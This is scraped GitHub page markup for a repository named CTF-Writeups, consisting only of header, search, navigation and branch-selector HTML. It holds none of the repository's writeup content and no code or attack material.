<summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="bzlsxZwHBbYHiU7FbvJ51eUq9LDyUfCCzgeDL/UjuGtrsc41hhuwwFKxb7uxPXU61np7bGdqSMSpK47hsjxc9A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" 